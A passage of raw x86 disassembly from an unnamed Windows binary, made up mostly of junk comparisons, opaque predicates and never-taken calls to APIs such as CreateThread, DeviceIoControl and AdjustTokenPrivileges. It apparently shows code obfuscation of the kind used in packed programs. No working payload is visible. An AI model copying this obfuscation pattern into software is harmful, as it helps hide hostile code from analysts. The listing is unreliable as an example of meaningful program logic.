and dword [ebp - 0x12a8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12a8], eax
je 0x47a884
mov dword [ebp - 0x21f0], 1
jmp 0x47a88b
and dword [ebp - 0x21f0], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2e88], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
je 0x47a8a8
mov dword [ebp - 0x24a4], 1
jmp 0x47a8af
and dword [ebp - 0x24a4], 0
cmp dword [ebp - 0x34], 0xc0a9c5a7
ja 0x47a8c4
mov dword [ebp - 0x12b0], 1
jmp 0x47a8cb
and dword [ebp - 0x12b0], 0
mov eax, dword [ebp - 0x12b0]
neg eax
neg eax
cmp eax, dword [ebp - 0x34]
jg 0x47a8e6
mov dword [ebp - 0x12b8], 1
jmp 0x47a8ed
and dword [ebp - 0x12b8], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x12b8]
cmp dword [ebp - 0x34], eax
je 0x47a907
mov dword [ebp - 0x12c0], 1
jmp 0x47a90e
and dword [ebp - 0x12c0], 0
mov eax, dword [ebp - 0x9a8]
cmp dword [ebp - 0x12c0], eax
jl 0x47a928
mov dword [ebp - 0x12c8], 1
jmp 0x47a92f
and dword [ebp - 0x12c8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12c8], eax
jge 0x47a946
mov dword [ebp - 0x21f8], 1
jmp 0x47a94d
and dword [ebp - 0x21f8], 0
mov eax, dword [ebp - 0x9a8]
mov dword [ebp - 0x2abc], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2f24], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x938], 1
jb 0x47a97e
mov dword [ebp - 0x12d0], 1
jmp 0x47a985
and dword [ebp - 0x12d0], 0
cmp dword [ebp - 0x12d0], 0x3ec3d4e7
jle 0x47a99d
mov dword [ebp - 0x2354], 1
jmp 0x47a9a4
and dword [ebp - 0x2354], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x938]
mov dword [ebp - 0x2ac4], eax
cmp dword [ebp - 0x34], 0x890b
jg 0x47a9cc
mov dword [ebp - 0x12d8], 1
jmp 0x47a9d3
and dword [ebp - 0x12d8], 0
cmp dword [ebp - 0x12d8], 0x8c6a
jg 0x47a9eb
mov dword [ebp - 0x12e0], 1
jmp 0x47a9f2
and dword [ebp - 0x12e0], 0
mov eax, dword [ebp - 0x12e0]
mov dword [ebp - 0x9a8], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2e98], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x938]
mov dword [ebp - 0x2acc], eax
mov eax, dword [ebp - 0x2200]
mov dword [ebp - 0x2f2c], eax
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x2ad4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x938]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2ea8], eax
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x2adc], eax
mov eax, dword [ebp - 0x240c]
mov dword [ebp - 0x2f34], eax
cmp dword [ebp - 0x9b0], 0
je 0x47aa7f
push 0x31
pop eax
test eax, eax
je 0x47aa7f
mov dword [ebp - 0x12e8], 1
jmp 0x47aa86
and dword [ebp - 0x12e8], 0
mov eax, dword [ebp - 0x12e8]
mov dword [ebp - 0x2208], eax
mov dword [ebp - 0x3f8], 0xfffffff6
mov dword [ebp - 0x238], 0x59310c13
mov dword [ebp - 0x2210], 0xbf5f40e1
mov dword [ebp - 0x9b8], 0
mov dword [ebp - 0x2ae4], 0x69a75015
mov dword [ebp - 0x1328], 1
mov dword [ebp - 0x808], 0
jmp 0x47aae7
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 3
jge 0x47ab03
mov eax, dword [ebp - 0x808]
mov dword [ebp + eax*4 - 0x3414], 0
jmp 0x47aada
mov dword [ebp - 0x3f8], 0
jmp 0x47ab1c
mov eax, dword [ebp - 0x3f8]
dec eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0xfffffff2
jge 0x47acbf
mov dword [ebp - 0x2574], 0x5f5b
mov dword [ebp - 0x2570], 0x5f5b
mov dword [ebp - 0x256c], 0x5f5b
mov dword [ebp - 0x2568], 0x5f5b
mov dword [ebp - 0x2eb8], 5
mov dword [ebp - 0x2aec], 0xfff9
mov dword [ebp - 0x2c0c], 0x415e
cmp dword [ebp - 0x3f8], 0xfff9
jb 0x47ab90
cmp dword [ebp - 0x238], 0
je 0x47ab90
mov dword [ebp - 0x12f0], 1
jmp 0x47ab97
and dword [ebp - 0x12f0], 0
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0x238], eax
jge 0x47abb1
mov dword [ebp - 0x12f8], 1
jmp 0x47abb8
and dword [ebp - 0x12f8], 0
mov eax, dword [ebp - 0x12f0]
cmp eax, dword [ebp - 0x12f8]
jle 0x47abd2
mov dword [ebp - 0x1300], 1
jmp 0x47abd9
and dword [ebp - 0x1300], 0
cmp dword [ebp - 0x1300], 0x5551
je 0x47abf1
mov dword [ebp - 0x1308], 1
jmp 0x47abf8
and dword [ebp - 0x1308], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2574]
cmp dword [ebp - 0x1308], eax
jl 0x47ac1d
xor eax, eax
je 0x47ac1d
mov dword [ebp - 0x1310], 1
jmp 0x47ac24
and dword [ebp - 0x1310], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2574]
imul eax, dword [ebp - 0x1310]
test eax, eax
jne 0x47ac4a
xor eax, eax
inc eax
jne 0x47ac4a
and dword [ebp - 0x235c], 0
jmp 0x47ac54
mov dword [ebp - 0x235c], 1
mov eax, 0x623b4709
test eax, eax
jne 0x47ac6f
mov eax, 0xb5d1cb6a
test eax, eax
jne 0x47ac6f
and dword [ebp - 0x1318], 0
jmp 0x47ac79
mov dword [ebp - 0x1318], 1
mov eax, dword [ebp - 0x1318]
sub eax, dword [ebp - 0x238]
mov dword [ebp - 0x2210], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2574], 1
jl 0x47aca7
mov dword [ebp - 0x1320], 1
jmp 0x47acae
and dword [ebp - 0x1320], 0
mov eax, dword [ebp - 0x1320]
mov dword [ebp - 0x1328], eax
jmp 0x47ab0f
mov dword [ebp - 0x238], 0x17
jmp 0x47acd8
mov eax, dword [ebp - 0x238]
dec eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0xffffffeb
jg 0x47aefe
mov dword [ebp - 0x4b4], 0x8e1ce43c
mov dword [ebp - 0x8b8], 0x2089ce3
mov dword [ebp - 0x4a4], 0x1be2fc3c
mov dword [ebp - 0x2218], 0x5b94995f
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x2af4], eax
mov eax, dword [ebp - 0x1328]
mov dword [ebp - 0x2c14], eax
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x8b8], eax
jge 0x47ad4c
mov dword [ebp - 0x1330], 1
jmp 0x47ad53
and dword [ebp - 0x1330], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x1330], eax
je 0x47ad6d
mov dword [ebp - 0x1338], 1
jmp 0x47ad74
and dword [ebp - 0x1338], 0
mov eax, dword [ebp - 0x4b4]
cmp dword [ebp - 0x1338], eax
jne 0x47ad8e
mov dword [ebp - 0x1340], 1
jmp 0x47ad95
and dword [ebp - 0x1340], 0
mov eax, dword [ebp - 0x4b4]
cmp dword [ebp - 0x1340], eax
jle 0x47adaf
mov dword [ebp - 0x1348], 1
jmp 0x47adb6
and dword [ebp - 0x1348], 0
mov eax, dword [ebp - 0x8b8]
cmp dword [ebp - 0x1348], eax
jle 0x47add0
mov dword [ebp - 0x1350], 1
jmp 0x47add7
and dword [ebp - 0x1350], 0
cmp dword [ebp - 0x1350], 0xffffffff
jge 0x47adec
mov dword [ebp - 0x1358], 1
jmp 0x47adf3
and dword [ebp - 0x1358], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x1358], eax
jle 0x47ae0d
mov dword [ebp - 0x1360], 1
jmp 0x47ae14
and dword [ebp - 0x1360], 0
mov eax, dword [ebp - 0x1360]
dec eax
je 0x47ae3b
cmp dword [ebp - 0x3f8], 0
je 0x47ae3b
mov eax, 0x393a39d8
test eax, eax
je 0x47ae3b
mov dword [ebp - 0x1368], 1
jmp 0x47ae42
and dword [ebp - 0x1368], 0
mov eax, dword [ebp - 0x1368]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x2afc], eax
cmp dword [ebp - 0x9b8], 1
jbe 0x47ae6f
mov dword [ebp - 0x1370], 1
jmp 0x47ae76
and dword [ebp - 0x1370], 0
mov eax, dword [ebp - 0x9b8]
cmp dword [ebp - 0x1370], eax
jge 0x47ae90
mov dword [ebp - 0x1378], 1
jmp 0x47ae97
and dword [ebp - 0x1378], 0
mov eax, dword [ebp - 0x9b8]
cmp dword [ebp - 0x1378], eax
jne 0x47aeb1
mov dword [ebp - 0x1380], 1
jmp 0x47aeb8
and dword [ebp - 0x1380], 0
cmp dword [ebp - 0x1380], 0x28c330c2
jne 0x47aed0
mov dword [ebp - 0x24fc], 1
jmp 0x47aed7
and dword [ebp - 0x24fc], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x2c1c], eax
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x2b04], eax
mov dword [ebp - 0x2218], 0xffffffff
jmp 0x47accb
mov dword [ebp - 0x2c24], 0x720e83c7
mov dword [ebp - 0x2b0c], 0xf37831e4
mov dword [ebp - 0x1388], 0xfffffff8
mov dword [ebp - 0x810], 0
jmp 0x47af35
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 3
jge 0x47af51
mov eax, dword [ebp - 0x810]
mov dword [ebp + eax*4 - 0x3420], 0x2bb11acc
jmp 0x47af28
mov eax, dword [ebp - 0x1388]
dec eax
mov dword [ebp - 0x1388], eax
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x47af8c
push 0x1274
push 0x2059
push 0x2b2
push 0x1266
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x4bc], 0x6fe7d8a8
mov dword [ebp - 0x124], 3
mov dword [ebp - 0x1b0], 0
jmp 0x47afb9
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jge 0x47afd5
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x339c], 0xfff7
jmp 0x47afac
mov dword [ebp - 0x1b0], 0
jmp 0x47afee
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jge 0x47b00a
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x33b4], 0x57a5
jmp 0x47afe1
mov dword [ebp - 0x4bc], 3
jmp 0x47b023
mov eax, dword [ebp - 0x4bc]
dec eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0
jl 0x47b2ec
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x9c0], 1
mov dword [ebp - 0x240], 0
jmp 0x47b05d
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jg 0x47b082
mov byte [ebp - 0x2e1], 0
movzx eax, byte [ebp - 0x2e1]
test eax, eax
je 0x47b080
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x47b050
mov dword [ebp - 0x124], 1
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x9c0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x339c]
cmp dword [ebp - 0x9c0], eax
jg 0x47b0b9
mov dword [ebp - 0x1390], 1
jmp 0x47b0c0
and dword [ebp - 0x1390], 0
cmp dword [ebp - 0x1390], 6
ja 0x47b0d5
mov dword [ebp - 0x1398], 1
jmp 0x47b0dc
and dword [ebp - 0x1398], 0
mov eax, dword [ebp - 0x4bc]
imul eax, dword [ebp - 0x1398]
cmp dword [ebp - 0x240], eax
je 0x47b0fa
mov eax, 0xd621ec21
test eax, eax
je 0x47b129
mov byte [ebp - 0x29c], 0
movzx eax, byte [ebp - 0x29c]
test eax, eax
je 0x47b124
push 0
push 0x2562
push 0
push 0
push 0x2108
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x47b2e7
mov dword [ebp - 0x400], 0x5a8c
mov dword [ebp - 0x2364], 4
mov dword [ebp - 0x124], 0
jmp 0x47b156
cmp dword [ebp - 0x124], 3
jg 0x47b2e7
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x2c2c], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x2b18], eax
cmp dword [ebp - 0x124], 0
je 0x47b199
cmp dword [ebp - 0x400], 0
je 0x47b199
mov dword [ebp - 0x13a0], 1
jmp 0x47b1a0
and dword [ebp - 0x13a0], 0
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x13a0], eax
jle 0x47b1ba
mov dword [ebp - 0x13a8], 1
jmp 0x47b1c1
and dword [ebp - 0x13a8], 0
cmp dword [ebp - 0x13a8], 0xffffffff
jb 0x47b1d6
mov dword [ebp - 0x13b0], 1
jmp 0x47b1dd
and dword [ebp - 0x13b0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x33b4]
imul eax, dword [ebp - 0x13b0]
cmp dword [ebp - 0x9c0], eax
jl 0x47b214
cmp dword [ebp - 0x400], 0
jne 0x47b214
cmp dword [ebp - 0x400], 0
jne 0x47b214
mov dword [ebp - 0x13b8], 1
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x13b8]
jg 0x47b238
mov dword [ebp - 0x13c0], 1
jmp 0x47b23f
and dword [ebp - 0x13c0], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x13c0], eax
jl 0x47b259
jmp 0x47b016
mov dword [ebp - 0x5ac], 0xda115252
mov dword [ebp - 0x358], 0xfffffffc
mov dword [ebp - 0x248], 0xd2038e85
mov dword [ebp - 0x818], 0x753589fe
mov dword [ebp - 0x2220], 0
mov dword [ebp - 0x9d0], 0x22a1efe0
mov eax, dword [ebp - 0x358]
cmp dword [ebp - 0x358], eax
jge 0x47b342
mov dword [ebp - 0x13e8], 1
jmp 0x47b349
and dword [ebp - 0x13e8], 0
mov eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x47b387
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x2220], eax
jmp 0x47b65b
mov dword [ebp - 0x360], 0x186e1459
mov dword [ebp - 0x9c8], 0xfffffff6
mov dword [ebp - 0x1fbc], 1
mov dword [ebp - 0x910], 0
jmp 0x47b3be
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 4
jge 0x47b3da
mov eax, dword [ebp - 0x910]
mov dword [ebp + eax*4 - 0x2534], 0xfffc
jmp 0x47b3b1
mov dword [ebp - 0x358], 0
jmp 0x47b3f3
cmp dword [ebp - 0x358], 3
jg 0x47b540
mov dword [ebp - 0x1fa8], 0x3d4c4698
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x2534]
cmp dword [ebp + eax - 0x2534], ecx
jl 0x47b431
mov dword [ebp - 0x13f0], 1
jmp 0x47b438
and dword [ebp - 0x13f0], 0
mov eax, dword [ebp - 0x818]
cmp dword [ebp - 0x13f0], eax
je 0x47b452
mov dword [ebp - 0x13f8], 1
jmp 0x47b459
and dword [ebp - 0x13f8], 0
cmp dword [ebp - 0x13f8], 0xfffffff6
je 0x47b46e
mov dword [ebp - 0x1400], 1
jmp 0x47b475
and dword [ebp - 0x1400], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x1400], eax
jge 0x47b48f
mov dword [ebp - 0x1408], 1
jmp 0x47b496
and dword [ebp - 0x1408], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x1408], eax
jge 0x47b4b9
mov eax, 0xffff
test eax, eax
je 0x47b4b9
mov dword [ebp - 0x241c], 1
jmp 0x47b4c0
and dword [ebp - 0x241c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2534]
mov dword [ebp - 0x2c34], eax
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x2b24], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2534]
mov dword [ebp - 0x2c3c], eax
mov eax, 0x1692
cmp eax, 2
jae 0x47b507
mov dword [ebp - 0x1410], 1
jmp 0x47b50e
and dword [ebp - 0x1410], 0
mov eax, dword [ebp - 0x1fa8]
cmp dword [ebp - 0x1410], eax
jge 0x47b528
mov dword [ebp - 0x1418], 1
jmp 0x47b52f
and dword [ebp - 0x1418], 0
mov eax, dword [ebp - 0x1418]
mov dword [ebp - 0x9c8], eax
jmp 0x47b3e6
cmp dword [ebp - 0x818], 1
jae 0x47b555
mov dword [ebp - 0x1420], 1
jmp 0x47b55c
and dword [ebp - 0x1420], 0
mov eax, 0x230b56bf
sub eax, dword [ebp - 0x1420]
imul eax, dword [ebp - 0x248]
test eax, eax
jne 0x47b589
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2534], 0
je 0x47b5c9
push 6
pop eax
test eax, eax
je 0x47b5c9
mov byte [ebp - 0x399], 0
movzx eax, byte [ebp - 0x399]
test eax, eax
je 0x47b5ba
push 0
push 0
push 0x1d6b
push 0
push 0x215
push 0
push 0xebc
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x248], 0x75309757
jmp 0x47b65b
mov dword [ebp - 0x2b30], 0
mov dword [ebp - 0x360], 0
jmp 0x47b5ec
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 3
jg 0x47b65b
mov eax, dword [ebp - 0x360]
mov eax, dword [ebp + eax*4 - 0x2534]
mov dword [ebp - 0x2c44], eax
cmp dword [ebp - 0x248], 0
jne 0x47b62a
mov eax, dword [ebp - 0x360]
cmp dword [ebp + eax*4 - 0x2534], 0
je 0x47b62a
and dword [ebp - 0x1428], 0
jmp 0x47b634
mov dword [ebp - 0x1428], 1
mov eax, dword [ebp - 0x1428]
dec eax
mov dword [ebp - 0x9c8], eax
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x1fbc], eax
jmp 0x47b5df
mov byte [ebp - 0x29e], 0
movzx eax, byte [ebp - 0x29e]
test eax, eax
je 0x47b682
push 0
push 0
push 0xc61
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x820], 0
mov dword [ebp - 0x8c0], 0
jmp 0x47b6a5
cmp dword [ebp - 0x8c0], 2
jge 0x47b6c1
mov eax, dword [ebp - 0x8c0]
mov dword [ebp + eax*4 - 0x32ec], 0x3198a8f9
jmp 0x47b698
mov dword [ebp - 0x820], 1
jmp 0x47b6da
mov dword [ebp - 0xd4], 0xffffffff
mov dword [ebp - 0xae8], 1
mov dword [ebp - 0xe48], 0xffffffff
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x6fc], 0xffffffff
mov dword [ebp - 0x227c], 0xfffffffe
mov dword [ebp - 0x6f4], 0
jmp 0x481e43
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 3
jge 0x481e5f
mov eax, dword [ebp - 0x6f4]
mov dword [ebp + eax*4 - 0x2498], 0xdacd7d39
jmp 0x481e36
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2998], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x29a0], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x29a8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2498]
cmp dword [ebp - 0xd4], eax
jl 0x481ea4
mov dword [ebp - 0x2274], 1
jmp 0x481eab
and dword [ebp - 0x2274], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2498]
mov dword [ebp - 0x29b0], eax
xor eax, eax
add eax, 0x7779a7b5
mov dword [ebp - 0xe48], eax
mov eax, dword [ebp - 0xe48]
inc eax
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x478], eax
je 0x481ef2
mov dword [ebp - 0xe50], 1
jmp 0x481ef9
and dword [ebp - 0xe50], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0xae8]
cmp eax, dword [ebp - 0xe50]
jg 0x481f1f
mov dword [ebp - 0xe58], 1
jmp 0x481f26
and dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xe58]
jne 0x481f4d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2498], 0
jne 0x481f4d
and dword [ebp - 0xe60], 0
jmp 0x481f57
mov dword [ebp - 0xe60], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2498]
cmp dword [ebp - 0xe60], eax
je 0x481f81
mov eax, 0xfffa
test eax, eax
je 0x481f81
mov dword [ebp - 0xe68], 1
jmp 0x481f88
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0xe68]
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0
jne 0x481fb6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2498], 0
jne 0x481fb6
and dword [ebp - 0xe70], 0
jmp 0x481fc0
mov dword [ebp - 0xe70], 1
cmp dword [ebp - 0xe70], 1
je 0x481fd5
mov dword [ebp - 0xe78], 1
jmp 0x481fdc
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0xe78]
mov dword [ebp - 0x227c], eax
mov dword [ebp - 0xd4], 0
jmp 0x482001
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 7
jne 0x482056
mov dword [ebp - 0x2284], 0x87b3
mov eax, dword [ebp - 0xae8]
sub eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x478], 0
jmp 0x48203f
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 2
jg 0x482054
mov dword [ebp - 0x2284], 0x85fafe44
jmp 0x482032
jmp 0x481ff4
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0046a555
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret